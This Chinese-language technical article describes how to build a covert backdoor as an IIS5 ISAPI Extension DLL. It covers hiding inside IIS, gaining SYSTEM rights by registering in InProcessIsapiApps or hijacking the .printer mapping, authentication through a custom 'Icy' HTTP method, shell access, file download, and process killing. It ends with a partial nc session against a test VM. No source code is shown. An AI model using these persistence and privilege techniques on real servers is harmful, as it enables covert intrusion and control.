====================================================
感谢与参考
1.在获取shell的时候格式很难看,envymask告诉我是网络延迟的原因,得以解决,感谢!
2.参考《绿盟安全月刊》第37期的技术专题里面的第五章《Exploit Microsoft INTERNET INFORMATION SERVER》,地址为http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1662
3.参考MSDN函数库
一.前言
二.申明

一.前言
最近的sql injection攻击很流行,一般的解决方法是使用通用的防注入函数来保护程序不受威胁。但是有写些序作者经常忘记包含通用函数,导致没有效果。前些日子研究彻底防止SQL Injection攻击时,看了些IIS5的ISAPI Filter文档,决定利用IIS提供的API接口做个东西,这样可以很好的防止sql injection攻击。
凑巧发现,这样依附在IIS上面的扩展模块,还可以作为别的用处,比如作为一个后门程序。这样进程的隐藏,端口的隐藏,服务的隐藏问题都不需要解决,由IIS包办了。作为后门,为了隐蔽性,我选择了ISAPI Extension接口。前后大约一个多星期,做出了一个这样的东西,还不知道叫什么名字好。
二.申明
1.代码里面有些特殊字符,因为我忘记不了她,请自己修改。
2.代码可以随意转载,但是请保证文档完整,并不得用于商业用途。
3.代码可以随意修改,但是如果能够给我一份,将不胜感激。
4.代码我只是演示这种后门的危害,用做任何用途均与我无关。
三.实现
1.解析
鉴于隐蔽性,我没有选择ISAPI Filter,而是选择了ISAPI Extension方式。ISAPI Extension是IIS的功能扩展模块,它能独立支持某一项特殊的HTTP请求,系统默认支持的asp脚本由%SystemRoot%system32inetsrvinetsrvasp.dll解析。自己实现一个动态连接库,就可以实现自己特殊的功能,例如php就是利用自己带的dll文件来解析php文件的。IIS先获取请求文件的扩展名,再根据配置的应用程序映射,交由特定的dll处理。
2.权限
IIS5的配置都保存在%SystemRoot%system32inetsrvMetaBase.bin文件中,它有两个主键:LM和Schema。LM主键下面有W3SVC/InProcessIsapiApps键,这是一个数组,里面包含的是一组指向一些ISAPI的路径。在这个数组里面的ISAPI运行的时候都是由inetinfo.exe直接启动的,继承inetinfo.exe的local system权限;而不在其中的ISAPI则是由svchost.exe派生的dllhost.exe进程启动的,运行的身份是IWAM_NAME,权限极低。这里,我们可以使用iis的脚本adsutil.vbs将我们的dll加到数组当中,命令为adsutil.vbs set w3svc/inprocessisapiapps Dll Path。更好的办法是替换掉printer扩展的映射,此映射由%systemroot%msw3prt.dll来解析,而且这个dll文件默认存在于W3SVC/InProcessIsapiApps键中。这也就是2000年.printer溢出得到system权 限的原因。
3.导出
根据MSDN描述,ISAPI Extension需要导出三个函数,GetExtensionVersion,TerminateExtension以及HttpExtensionProc
4.功能
首先,密码功能肯定是需要的,这里我将标准的HTTP协议扩充出一个Icy方法,如果客户端使用此方法请求注册的映射,则认证成功,否则不予理睬。这里,你也可以修改代码,使用HTTP协议的其他部分做认证,比如Accept字段。
其次,后门主要是获取一个shell,但是某些服务器可能设置了禁止system访问cmd,因此,我还提供了下载功能,这样可以下载一个cmd,然后通过shell CustomerCmd运行,得到shell执行命令。最后就是列举进程和查杀进程了。
在虚拟机上测试,我注册了扩展名为yunshu交由此dll解析。使用nc连接,发送自己扩展的http协议,屏幕copy如下:
C:>nc -vv 192.168.10.250 80
Warning: forward host lookup failed for Icy.missyou.com: h_errno 11004:NO_DATA
Icy.missyou.com [192.168.10.250] 80 (http) open: unknown socket error
Icy /test.yunshu HTTP/1.0
HOST: 192.168.10.250
Can you tell me how to forget some one?
